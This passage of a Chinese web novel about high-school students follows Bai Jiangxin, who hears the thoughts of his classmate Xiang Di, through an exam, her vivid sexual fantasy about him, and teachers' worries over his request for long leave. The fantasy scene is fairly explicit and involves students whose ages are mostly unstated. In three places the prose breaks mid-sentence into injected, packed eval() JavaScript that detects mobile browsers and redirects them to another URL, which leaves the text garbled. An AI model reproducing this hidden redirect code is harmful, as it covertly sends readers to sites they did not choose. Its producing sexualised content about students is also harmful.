同时心里也松了口气,好在只是幻想,除了她自己没人会知道。 不行,不能再想下去了,要认真做题。 她在心里提醒自己,可是这种想象就像是一种毒药,一旦开始,就很难戒掉。 想象是一件神奇的事,能够将人带进一个完全的精神世界,让人在精神世界中得到现实中得不到的爽感。 每当因为压力而感到精神紧绷的时候,向笛就喜欢一个人想一些乱七八糟的事,没有收敛,也没有克制,这是属于她一个人的私密行为,她可以尽情地沉浸在当中自得其乐。 等想象结束,她整个人都会得到一种特别的满足,然后又能够干劲满满地迎接现实生活。 即使她知道这种意淫很不切实际。 可是人就是要意淫一些不实际的东西啊,反正只是意淫而已,她脑子里在想什么,又不会有人知道,也不怕丢脸,干嘛不大胆一点,意淫个大的。 比如突然被亿万富翁的亲生父母找上门,比如成为万众瞩目的顶流大明星,这种在现实生活中基本上不可能发生的事才值得去意淫,否则怎么叫意淫呢。 向笛咬着笔尖,课桌下的双腿也悄悄夹紧。 安静的教室里,吸顶灯亮如白昼,生物考试还在继续,叶旻嘉总算写完了第一面,翻面的时候顺便看了眼旁边的柏江忻。 他的卷面还停留在第一面。 怎么回事?明明一开始比他快那么多,现在自己第一面都写完了,他还没写完? 叶旻嘉好奇地凑过去看。 搞什么,居然连填空题都没写完?这么久了,这小子压根就没怎么写啊。 不对劲,叶旻嘉将目光从试卷移到柏江忻脸上。 柏江忻的脸色看起来很不对。 嘴唇紧抿,脸色苍白,又透着股非常不自然的绯红,顺带连耳根和脖颈那一片的肌肤都是红的,下颚绷紧,感觉他的牙齿都快把唇瓣内侧给咬破了。 感觉像在忍着什么,叶旻嘉悄声问:“你咋了?想撒尿?” 柏江忻重重闭了下眼。 再睁开的时候,他的声音已经有点哑了,有种说不清的味道,几乎是咬着牙说:“想杀人。” 叶旻嘉额了声。 这卷子有这么难吗? 连柏江忻都做到想杀人? 7.攻略第七天 能够听见别人心里在想什么,这种事本来就很玄乎。 柏江忻第一次知道是很小很小的时候,小到他当时甚至都没有记忆力,照顾他的保姆给他试冲泡奶粉的温度,对着奶瓶喝了口后,又喂给他,接着他的脑子里便出现了保姆感叹小少爷命真好的声音。 他当时根本听不懂,还以为自己的脑子坏掉了,吓得大哭,把保姆也吓了一跳。 柏江忻不会说话,他的父母也不知道是什么原因,认为是保姆不专业,又换了一个,这个保姆不会对嘴喝他的奶瓶,才消停下来。 但毕竟不是在隔离箱,难免和人会有接触,父母工作都忙,实在无暇顾及柏江忻,干脆把他送到了爷爷家。 柏江忻学会语言表达后的第一件事,就是把自己脑子坏掉了的这件事表达给爷爷听。 爷爷一听就明白了,从此让家里的佣人严格管控孙子的饮食。 等柏江忻再大一点,爷爷才告诉他,这是一种遗传病。 用浅显的生物知识解释,这种疾病基因就相当于一种性状表现,但它并不是常见的常染色体显性或者隐性遗传,也不伴随X或者Y染色体遗传给后代,而是一种非常特殊的纯合显性遗传病。 假设用大写字母D来表示显性基因,小写字母d来表示隐形基因,那么这种遗传病就只有不含任何杂合子基因的DD性状才能表现出来。 万分之一的人才会拥有这种DD基因,这种DD基因很容易被配偶的杂合基因所稀释,非常不易遗传,而且并不会像其他遗传病譬如白化病,会直接表现在患者的生理外观上,也不会被医疗仪器检测出来,除非病患主动告知,因此目前这种遗传病几乎没有出现在任何书面病理记录当中。 柏江忻爷爷的奶奶也有这个病,爷爷之所以知道这个病,也是儿时从他的奶奶那里听来的。 爷爷说,如非必要,不要把这个病告诉任何人,包括自己的父母。 柏江忻问为什么,爷爷只说,这个病听上去很神奇,像拍电影一样,但其实对自己、对他人,都并非是一件好事。 爷爷出生在一个动乱的年代,那个年代,军人在战场上打战,他也在政治场上和敌方博弈,这个病确实在当时让他为组织单位效力不少,可后来仗打赢了,和平了,没有敌人了,他的病就成了同僚们的心患。 没有人愿意和他共事,爷爷也深知这一点,主动要求分配了一个闲职,远离了那个权力中心,才换来了自己和家人安稳的下半生。 人心是世间最复杂的东西,最大的秘密往往都藏在最心底,没有人会一点秘密都没有,所以即使是面对最亲密的人,也不要告诉对方。 “那奶奶知道你有这个病吗?”柏江忻问。 爷爷说:“你奶奶当然不知道,否则她早就被吓跑了。” 这时候奶奶刚好进来给爷孙俩送切好的水果,顺便告诉爷爷,她有个朋友住院了,要去探望一下,晚上不在家吃饭了。 爷爷说好。等奶奶走后,才嗤笑了一声,说:“什么住院,你奶奶就是要出去打牌,找那些破借口。” 柏江忻有些疑惑,爷爷和奶奶刚刚明明没有碰到身体,为什么爷爷还能知道奶奶心里在想什么。 爷爷这才告诉他,想要知道对方的心声,不一定非要有肢体接触,比如和对方不小心用了同一双筷子吃饭,也能听到。 这很好理解,就是吃到了别人的口水嘛。 “但是爷爷,中午吃饭的时候,你明明也是用的公筷。”柏江忻发出童言无忌的灵魂质问,“你为什么还能吃到奶奶的口水?” 爷爷的脸色僵了一下,说:“这个等你长大以后就知道了。” 十八岁的柏江忻在心里深深叹了口气,他现在确实知道了,也深刻地感受到了。 但是老爷子当年为什么不提前告诉他这死病还有个更玄乎的病症,那就是如果对方的心声过于丰富,有声书的念白甚至会变成生动的画面。 向笛简直就像是学过画画一样,整个画面的构图和上色都很丰富,色影朦胧,只是画面里不知道为什么,没有她。 柏江忻看着画面里的那张脸,怎么都不敢想象那是自己的脸。 但确实是自己的五官,清冷的眉眼都没有变,跟平时镜子里的自己一模一样。 柏江忻很不想承认,画面里的自己此刻虽然不知道在干什么,但看起来真的很色|情。 画面里的他此时皱着眉,轻咬着下唇,喉结僵在脖子的某个部位上,突出得很明显,呼吸都停滞了,似乎在忍耐什么。 他长这么大,什么时候露出过那样的表情?可又确实是他,因为他的喉结上真的长了一颗痣。 这么小的痣,向笛居然会注意到。 他的脸是红的,耳朵尖和一大片锁骨也都是红的,看到锁骨,柏江忻忽然意识到,自己在向笛所想象的画面中居然没有穿衣服。 不可思议的视线下移,镜头仿佛也在这一瞬间随着他下移,来到了他裸露的胸口和肚脐眼上。 柏江忻直接倒吸一口凉气。 他身上有肌肉,但也只是恰到好处的一层薄肌,不会让自己看起来太瘦,高三学业繁重,根本没有多余的课外时间去运动,更不要说特意去健身房,把自己练成一个壮狗,还搞出这么一对傲人的果冻胸肌和八块腹肌。 自己身上都没几两肉的女孩子,对男人的身材要求倒是挺高。她那一只手就能被拎起来的小个子,对健身知识匮乏如此,真以为练肌肉就像吃饭喝水一样这么简单。 他是不是还应该谢谢她,这下不用运动、不用吃蛋白粉、更不用去健身房撸铁,在她的画面里,他就能无痛拥有这种大双开门冰箱身材了。 不过也情有可原,毕竟她没有看过他真正不穿衣服的样子,会有自己的想象也不奇怪。 但他还是不太明白,向笛在哪里,他也不太明白,为什么是这种俯视的角度,而且他到底夹着呼吸在撞什么东西。 直到他看到自己的手握住了一个小小的脚踝,然后顺着脚踝往上,指腹捏住了柔软的小腿肚,在经不起折腾的肌肤上留下粉色坑印,然后他将这双小腿,架在了自己的肩膀上。 “……” 这跟看片有什么区别,而且看的还是自己主演的片? 怪不得是这个角度,原来某只土拨鼠在下面。 此时他的频率已经越来越高,额头上直接起了一层薄汗,打湿了头发,还掉了几滴汗水下来。 “啊。” 又是一声熟悉的轻呼。 声线倒是没变,但是有种说不上来的感觉。 像一把小钩子,在勾他的耳膜,很痒,让柏江忻有种想要挠耳朵的冲动。 柏江忻咬紧唇瓣,不知道她又在叫什么。 画面里的他此时和现实的他高度同步,也在问:“你叫什么?” “你的汗滴到我身上了……” 看不到人,但能听见她娇嗔的声音:“好凉。” 听着不像是在埋怨他,说是撒娇更合适。 画面里的他应该挺吃这一套的,往下一看,随即低笑一声:“那我帮你吸掉。” 说着柏江忻埋下头去,又是引起一阵轻呼。 画面只是画面,就像看电影一样,不会发生共感,而且画面里没有展示的地方,他也看不到在做什么。 但没吃过猪肉不代表没见过猪跑,柏江忻有这方面的生理常识,所以他大概能猜到自己在亲她哪里。 柏江忻紧抿着唇,不想说话。 “你不许吸啦。” 向笛应该是被弄疼了,猛地推开他,然后报复性地伸出手。柔弱无骨的小手和他坚硬的胸口形成极致的对比,掐住了他。 “……” 现实中的柏江忻只觉得自己有些幻痛。 画面里的他估计也是被刺激到了,猛地仰着头,喉结上那颗平时连自己都很容易忽视的痣,这会儿都仿佛变红了。 缓过来后,他低下头,一副凶冷的样子:“不许乱摸。” 她不满地嘟囔:“你先乱来的。” 柏江忻从喉间溢出一声笑:“不是说凉,我帮你暖和一下。” “我不要你帮我暖和了。你好了没有啊,我累了。” “哪儿那么快,老实点儿。” 画面里的柏江忻忽然低下身子,现实中的柏江忻下意识地往后仰了仰。 然后他听见自己用沙哑的嗓音警告向笛:“再乱动,干死你信不信?” “……”这居然是他会说出来的话? 柏江忻有些崩溃地闭上眼。 向!笛! 你这只满脑子都是那种玩意儿的猥琐土拨鼠。 他能不能打扫黄热线,赶紧把这只土拨鼠给抓走,不要再祸害他了。 下一秒,忍无可忍的柏江忻重重放下笔,拍桌的声音在沉闷的教室中被无限放大。 想象在这时候终于戛然而止,画面瞬间消散。 讲台上正专心玩手机的生物老师被吓了一跳,刚想责问是谁乱发出声音,然后就发现是柏江忻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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垂在身侧的手不自觉握紧,他竟然觉得有些心虚,迅速撇开了眼。 她到底凭什么能在意淫完他以后,马上就跟没事人一样? 而且明明是她意淫他,为什么他要觉得无法面对? 生物老师的声音此时又响起:“柏江忻,你怎么还没去?” 柏江忻回过神,低声说马上去。 走出教室前,他又听见向笛的心声。 【好了,真的不能再想了,现在我真的要开始认真考试了!】 【冲鸭!】 一副干劲满满的样子。 她现在是有干劲了,而他的生物试卷还有一大面都没动。 柏江忻现在算是彻底知道上次联考,向笛为什么进步那么大了。 她确实有非同一般的解压方法。 而他就是她那个倒霉的解压工具。 - 晚自习结束的铃声响起,交上了卷子,向笛张开手,伸了个懒腰。 总算是考完了。 梁芊芊问:“去上个厕所不?” 向笛站起身:“走!” 女生上厕所也喜欢成群结队,两个女生甜甜蜜蜜地互相挽着胳膊往厕所走去。 走廊上亮着照明灯,班上不少同学这会儿站在走廊上吹风,向笛一下子就看到了从老师办公室方向过来的柏江忻。 向笛的心里立刻响起了警铃,赶紧检查了一下自己,校服不脏,鞋子很白,再伸手弄了一下刘海,很好,发型也ok,不丑不丑。 从高一到高三,即使他们已经擦肩而过很多次,即使柏江忻没有一次注意到过,但是向笛对于和他的每一次的擦肩还是会很重视,会格外注意自己的形象,会在意自己的表情够不够自然,哪怕只有一瞬间,也想试图给他留下一个“这个女生有点可爱”的印象。 这一次的她也同样重视。 满心期待着和柏江忻的擦肩,然而,不知道为什么,柏江忻突然转身了。 虽然不会自作多情到认为他是因为看到自己了,才刻意回避的,但没能与他擦肩而过,向笛的心里还是不免涌上一股很细微的落寞。 没事的啦,对于暗恋来说,错过是再正常不过的情况了。 向笛酸涩地抿了抿唇,乐观地安慰自己。 8.攻略第八天 “你咋了?” 身边的梁芊芊注意到她的脚步私似有停顿,好奇问道。 向笛摇摇头,粲然一笑:“没有,考试考懵了,还有点没反应过来。” 再往前望去,此时热闹的走廊上,早已经没有了她期待的那个身影。 喜欢一个人,不就是在无数次的希望和失望中反复来回。没关系的,反正她已经很擅长安慰自己。 “我们走快点吧,我有点憋不住了。” 拉着梁芊芊,向笛朝厕所小跑去。 - 柏江忻暂时无法面对。 他到底在躲什么,他自己都不知道。 其实他大可以当什么都不知道,就像之前听到过其他人的那些心声一样,反正向笛是个胆小鬼,她不可能说得出口。 然而刚刚在走廊上看到她的那一刹那,彼此间明明还有不少距离,他的心脏却突然紧缩,停了一瞬,像是被无形的鱼线给捆住又提了起来。 不可避免地想到了她那几句要命的撒娇,想到她的腿架在他的肩上,她想象中他做|爱的时候是那副表情,那她做|爱的时候会是什么表情? 他不知道。但难以想象这么乖的一张脸,也会露出那么色|情的样子。 一切都仿佛是电光火石之间的生理本能,柏江忻的大脑甚至都来不及做出反应,身体已经在下意识地回避她。 自己这个状态实在太不对劲,还是躲着她比较好,于是柏江忻又走回了办公室。 陈京华看到他又回来了,有些惊讶:“怎么又回来了?” 柏江忻直接说自己身体不舒服,还是想回家休息。 他也许真的是因为这几天被向笛的心声给吵得神经衰弱,所以才会出现那种反应,说是身体不舒服,也不算撒谎。 老师对好学生总是会有天然的偏爱,陈京华很爽快地答应了,还说要是到明天身体还是不舒服,就让家长再给他打个电话,请几天假好好在家休息。 不知道和向笛的牵绊究竟到何时才能结束,柏江忻直接问:“我可以请长假吗?” 陈京华:“你要请多长时间?” “请到高考前。” 陈京华的表情微微一变。 “你的意思是高考前都不来学校上课了?” “嗯。” “那你高考怎么办?” “到时候我直接去考试就行了。”柏江忻说。 陈京华一下子皱起了眉。 这孩子,成绩再好也不能这么作吧,就算他真的自律到哪怕是在家,每天也能严格监督自己复习,他也不能答应。 大多数学生都是没有这个学习自制力的,所以才需要学校的监督,即使是柏江忻,陈京华也很难放心。 柏江忻不是个例,这个学期,就已经有好几个学生因为压力过大和成绩波动想要申请休学了。 不是不让请假,可是一个人活这几十年,人生的路上要面临的挑战多得是,现在还这么年轻,却连一个高考都应付不来,抗压能力这么差,仅仅因为学习学不下去就要逃避,将来怎么办。 而且他们这一届考生,能不能出一个状元,押宝就押在柏江忻身上了。 别说他这个班主任,就是校长都不能答应,陈京华冒不起这个险。 陈京华只好给柏江忻说道理,请几天假休息没问题,但要请长假,他不会批准。 “学校的学习氛围毕竟好一些,一个人在家很难学进去的,到时候万一耽误了高考,老师也没办法跟你家长交代啊。” 柏江忻蹙眉说:“我待在学校才会学不进去。” 陈京华:“为什么?” 柏江忻一时没有回答,少年漆黑而清冷的眼眸像一滩化不开的墨,忽然泛起焦躁的涟漪。 出于教师的本能,陈京华迅速嗅到司逸的不对劲,委婉地问:“你是不是最近在学校碰到什么事了?” “没有。” “你跟叶旻嘉吵架了?” “没有。” “那你是跟谁……” “谁都没有。”柏江忻淡淡说。 陈京华语重心长地说:“柏江忻,如果你有什么烦恼的话,可以告诉老师,只要老师能帮得上忙,一定帮你想办法解决,千万不要自己憋在心里。” 看着班主任担忧的神色,柏江忻知道陈京华是个好老师。 可那又怎么样,他的烦恼,根本没人能解决,除了自己憋在心里,还能怎么样? 跟老师说有什么用,老师会相信吗?就算老师真的相信了,要怎么解决,让向笛回家吗? 离高考只有三个月了,他跟向笛没仇,没道理毁了她的高考。 是他窥探了她的秘密,他做不到牺牲她的未来,只为了让他自己得到清净。 就先这样吧。柏江忻无声叹气,说:“算了老师,我不请假了。” 他本来也没指望班主任会真的答应。 柏江忻走了,陈京华却没有为此松一口气。 现在离高考的日子越来越近,所有老师都生怕学生们的心理健康受到一丁点创伤,柏江忻这个时候想请长假,是个老师都要在心里敲警钟。 陈京华担心柏江忻是不是心理出了什么问题,一般成绩好的学生自尊心都普遍比较强,脸皮薄,而且柏江忻又不是那种喜欢跟老师谈心的性格,他不肯说,陈京华也不可能逼着他说。 心里思索着要不给柏江忻的家长打个电话说一下,但是柏江忻是单亲家庭,他父亲工作忙,连帮儿子请假都是托秘书打电话过来。 马上要召开高三年级的最后一次家长会了,都不知道他父亲到时候能不能来。 有点难搞啊。 - 第二节晚自习刚打铃没多久,柏江忻回到教室,收拾了书包,直接准备走人。 叶旻嘉喊他:“你又干嘛去啊。” “回家。” “又要回家?!”叶旻嘉问,“那你明天还来吗?” “再说吧。” 然后柏江忻就这么拎着书包,当着全班人的面,头也不回地走了。 这种时候频繁请假回家,哪里有一点高考生全力备战高考的样子,就算这位是年级第一,也不能这么嚣张吧。 人刚走,教室里瞬间响起讨论声,各种猜测柏江忻这几天频繁请假的原因。 包括梁芊芊都好奇了,找向笛讨论,向笛摇摇头,对此也很迷茫。 “哎你发现没有,星期一我们去奶茶店的时候不是碰到了他和班长么,好像就是从那天开始,柏江忻就开始请假了。” 梁芊芊摸着下巴猜测道:“难道柏江忻是在奶茶店被传染的流感?” “妈呀这几天我们别去那里买奶茶了吧,要是也被传染了就难受了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272342|166257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哦,好。” 向笛心不在焉地回答,心里也在猜测。 她没有告诉梁芊芊,也是在星期一那天,柏江忻错喝了她的奶茶。 如果非要说柏江忻是从什么时候开始不对劲的,更准确的时间点是在他错喝了她的那杯奶茶开始。 难道是跟她的那杯奶茶有关? 难道是她身上携带了流感病毒,所以才害得柏江忻得流感? 难怪他刚刚晚自习的时候看了她好几眼,而且在走廊上,很有可能也是因为看到了她这个病毒来源,所以转身就走。 向笛惊恐地双手捧住脸,妈呀,自己简直就是fun了straight! 这下怎么办,他们以后更不可能有任何交集了。 向笛自责又失落,一头趴倒在桌上画圈圈。 突然教室安静了下来,她的胳膊被用力地推了一下,梁芊芊小声提醒:“老班来了!” 向笛赶紧又坐了起来。 陈京华不知道是什么时候出现在教室门口的,不过他现在不是来抓晚自习纪律的。 “叶旻嘉,你出来下。” “来了。” 班主任找班长谈话,不是什么稀奇的事,没有人会在意,陈京华一走,班上顿时又热闹了起来。 把叶旻嘉叫到办公室后,陈京华的第一句话就是:“你这几天有没有发现柏江忻有什么不对的地方?” 叶旻嘉:“啊?哪里不对?” 于是陈京华把柏江忻想请长假的事儿跟叶旻嘉说了,问他:“你最近是不是跟柏江忻闹矛盾了?” 叶旻嘉摇头:“没有啊,我跟他好着呢。” “那是不是有其他人跟柏江忻闹矛盾了?” “没有啊。” 谁会想不开跟柏江忻闹矛盾,一旦捅到老师那里,傻子都能想到老师会偏袒谁,而且那人成天又摆出一副拒人于千里之外的死样,说好听点是冷酷的高岭之花,说不好听就是一块又冷又硬的臭石头,谁会没事儿招惹他。 陈京华皱眉:“那柏江忻是怎么回事?怎么好好的突然厌学了。” 叶旻嘉睁大眼:“啥玩意儿?他厌学?” 经过上次联考的打击,他都没厌学,柏江忻那万年老一凭什么厌学? “不可能吧。”叶旻嘉不相信。 陈京华:“那他为什么不想来学校上课呢?” 师生间就这样彼此沉默了很久,都没想出个所以然来。 这时生物老师拿着刚收好的试卷回办公室了,看陈京华在,特意走过来说:“陈老师,你们班柏江忻这两天状态不对啊。” 说着就把柏江忻刚考完的生物试卷拿给陈京华看。 “刚考完的卷子,后面两道二十分的大题动都没动,他总不可能是嫌卷子出得太简单了懒得写吧?” 看着后面空白的卷面,陈京华这下是真觉得事态有点严重了。 叹了口气,他把柏江忻想请长假的事也跟生物老师说了。 “他要请那么长时间的假?”生物老师语气惊讶,“这都马上要高考了,这哪儿行啊。” “就是说啊,但是我问他什么原因,他又不肯说。”陈京华说,“我问叶旻嘉,他说柏江忻跟班里同学也没有闹矛盾。” 生物老师想了会儿,猜测道:“不是和同学闹矛盾了,那是不是失恋了,所以不想来学校?” 9.攻略第九天 陈京华和叶旻嘉同时啊了一声。 陈京华直接对生物老师否认:“柏江忻不可能谈恋爱的。” 生物老师笑了:“怎么不可能?现在的小孩谈恋爱隐蔽得很,Q|Q微信那些怕被家长查,就天天在游戏里聊,有的还用外卖软件聊呢,没让你抓到罢了。” 陈京华顿时觉得自己是真的年纪大了:“还能这样?” 生物老师昂了声,举例道:“就隔壁那个文科班,前不久刚抓到一对谈恋爱的,每天在那个游戏里又是充钱送皮肤,又是叫老公老婆的,那聊的内容,大人看了都脸红。他们班主任刘老师把双方家长叫到学校来谈话,劝他们分手,死活不分,后来女生的爸爸说不分手就断绝父女关系,这才让他们分开。” 居然还有这种瓜?不得不说老师办公室里的八卦才是最劲爆的,叶旻嘉顿时来了兴趣,追问:“那后来呢老师?” “后来那女生就厌学了,现在课也不想上了,高考也不想考了,她妈妈带去看心理医生了,这个状态,八成是要复读了。” 说到这里,生物老师叹气:“所以我说你们这帮学生,年纪小就不要谈恋爱,这么小,懂什么爱情啊,分个手就要死要活不想高考了,谈恋爱和高考哪个更重要都不知道,她爸妈现在都急死了,说早知道这样,还不如不劝他们分手。” 陈京华抽抽嘴角,还好他班上目前没有这种恋爱脑的学生,不然自己能头疼死。 但他还是不相信柏江忻会谈恋爱。 生物老师继续分析道:“你说这个年纪的小孩,能有什么天大的烦恼至于到不想上学呢?要不就是家里发生了变故,比如父母离婚破产啊,亲人过世啊,要不和同学起冲突闹矛盾了,遭到校园暴力了,再要不就是考试没考好,觉得考不上大学了天要塌了,最后那不就是失恋了呗。” 柏江忻虽然是单亲家庭,但他父母离婚已经很多年,高一的时候他父亲来学校开过家长会,陈京华见过,英俊沉稳的中年男人,光看他父亲的打扮,就知道柏江忻的家境肯定不差。 而且最近也没有听说柏江忻家里有什么亲人过世。排除种种因素,还真就只剩下失恋这么一个合理原因。 生物老师越说越有道理,陈京华也开始动摇了。 “陈老师,总之柏江忻那边你一定要多注意、多开导,教育的时候一定要注意方式方法。”生物老师提醒道,“这可离高考没多长时间了啊。” “好,谢谢你了啊单老师。” “应该的,那我改卷去了。” 生物老师一走,师生俩再次陷入沉默。 陈京华想,如果真像生物老师说的那样,他肯定不能效仿隔壁班的刘老师直接通知家长来学校棒打鸳鸯,要是把这一届的高考状元苗子给打没了,自己岂不是被校长骂死? 管还是要管的,但怎么管,用什么方法管,确实得好好斟酌。 总之要先把跟柏江忻谈恋爱、又让柏江忻失恋,从而导致他产生极度厌学情绪的那个罪魁祸首给找出来。 听了生物老师的分析,叶旻嘉还是不太相信柏江忻会谈恋爱。 平时除了上厕所,柏江忻几乎天天跟他在一起,那人跟班上的女生都没几句话聊,能跟谁谈恋爱? 叶旻嘉还在那儿推理,就见老班正在用奇怪的眼神打量自己。 叶旻嘉吓得立马举起三根手指头发誓:“老师我发誓不是我,我对柏江忻没有任何非分之想。” 被看穿了心理,陈京华轻咳一声,收回目光,喃喃道:“那还能是谁。” 叶旻嘉心情复杂。 服了,就算柏江忻再怎么不近女色,也没必要怀疑到他头上吧? 要是老班真误会了,打电话给他家长,他爸妈估计得把他赶出家门。 “老师,要不这件事就交给我吧?”为了替自己洗脱嫌疑,叶旻嘉主动请缨,“毕竟您又不能一天二十四小时坐在教室里盯着柏江忻,是吧。” - 一个班的学生都要管,陈京华当然不可能时时刻刻盯着柏江忻,于是叶旻嘉这个班长就成了他最好的眼线。 叶旻嘉若有所思地回到教室。 一直到晚自习结束,班上的同学陆续收拾东西,叶旻嘉也打算走人。 “……班长。” 心不在焉间,一个软软的声音将他唤回神。 是向笛。真是稀奇了,平时一个学期都说不上几句话,今天一天居然找了他两次。 叶旻嘉:“怎么了?” “……我就是想问问,嗯,柏江忻他的流感,是还没有好吗?” 向笛犹豫万分,藏在校服袖子里的手捏成拳头,这是她第一次这么明显地找人打听的柏江忻的情况,非常害怕会被班长看出来她对柏江忻有什么。 可是内心抑制不住的担忧却又让她不得不来问。如果找芊芊帮忙,芊芊一定会先问她为什么突然关心起柏江忻来了。 她只能硬着头皮自己来问,起码班长跟她不熟,应该不会好奇。 但事与愿违,叶旻嘉没有很快回答她,而是看了她好一会儿,才问道:“你怎么突然关心起柏江忻了?平常我看你们好像没什么交集啊。” 完了,要被发现了。 向笛的眼中迅速闪过一丝慌乱。 告诉自己要冷静一点,她佯装平静地说:“因为,不是说他得了流感吗?要是那种病毒性流感的话,那我也得注意一下了,不然要是被传染了,就耽误上课了。” 叶旻嘉说:“没那么严重,应该只是小流感吧。” 向笛又小声问:“那他这几天还来上课吗?” 叶旻嘉不确定地说:“我估计应该不会来了吧。” 向笛低下头,轻轻哦了声。 柏江忻又请假了,极有可能还是因为自己才得流感的。 可是她又不是医生,不会治病,所以只能在心里默默祈祷他能赶紧好起来,这几天在学校看不到他,她也不会开心的,连学习的动力都少了好多。 都说人的眼睛就是心灵的窗户,但是窗户也是要看大小的,向笛的眼睛生得又圆又漂亮,睫毛像两扇黑色羽帘,半垂下时,依旧能够看见里头的光一下子就灭了。 她只顾低落,自然也就没有发现叶旻嘉看她的眼神越来越怀疑。 向笛失落离开,娇小的个子连背影都落寞。 “向笛,你等会儿。”叶旻嘉喊住她。 他还没问,向笛忽然啊了声,想起了什么,转过身说:“班长,我推荐给你的那个药你去买了吗?没买的话,我家里有那个药,我明天顺便拿来吧。” “啊?”中午临时有事,所以没能去买,叶旻嘉点头,“行吧,你明天拿给我,我用班费给你钱。” 向笛赶紧摆手:“不用不用,没多少钱的,额,那个药效果还挺好的,要是柏江忻一直没好的话……可以让他吃一下,别传染给班上其他人了。” 不断强调自己只是顺便,自己并不是在关心谁谁谁,只是因为怕被传染到流感。 不断地用这些看似漫不经心的话语,来掩盖自己的心。 这些话在平时听来,或许不会让人察觉到有什么破绽,但此刻在叶旻嘉这里,她的话就显得很欲盖弥彰。 可是细细一想,向笛和柏江忻,至少在他的视线范围内,确实没有任何交集。 甚至于柏江忻前几天,才知道向笛叫什么名字。 还是说他其实是在演? - 叶旻嘉本来以为柏江忻第二天肯定不会来学校了,结果踩着早自习的铃声,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她就是涂榴莲味的唇膏都跟他没关系,他压根闻不到。 疑问过后,向笛突然又意识到什么。 【啊啊啊我今天起晚了头发乱得跟鸡窝一样!】 赶紧捂住自己毛躁的刘海,向笛开始对着自己的课桌翻箱倒柜。 【咦我梳子呢?好烦啊要用的时候偏偏就找不到了。】 【算了用手抓吧,镜子镜子,我的小镜子呢?啊在这里。】 【我靠,我今天洗脸没洗干净,眼睛上还有眼屎!】 【完了,我的形象算是彻底没了,他肯定会觉得我是个邋遢的人。】 柏江忻蹙眉。 好吵。 而且如果不是她念叨,他压根不会注意到她今天的头发没梳好,以及她的脸没洗干净。 自寻烦恼。 可是喜欢一个人就是这样的,特别在乎自己在那个人眼里的形象,唯恐有一点让他觉得反感。 向笛一头趴倒在课桌上,就在柏江忻以为她终于消停了的时候,她又莫名其妙唱起来了。 【小邋遢,真呀真邋遢,邋遢大王就是她,没人喜欢她,哎。】 接着又是一声像被抛弃的小动物似的呜咽,可怜巴巴的,好像天都要塌了。 【我这么不讲究,肿么办,这下他更加不可能喜欢我了。】 “……” 柏江忻抿唇,低着眸,默默在心里添了一句。 ——但凡,你安静点儿。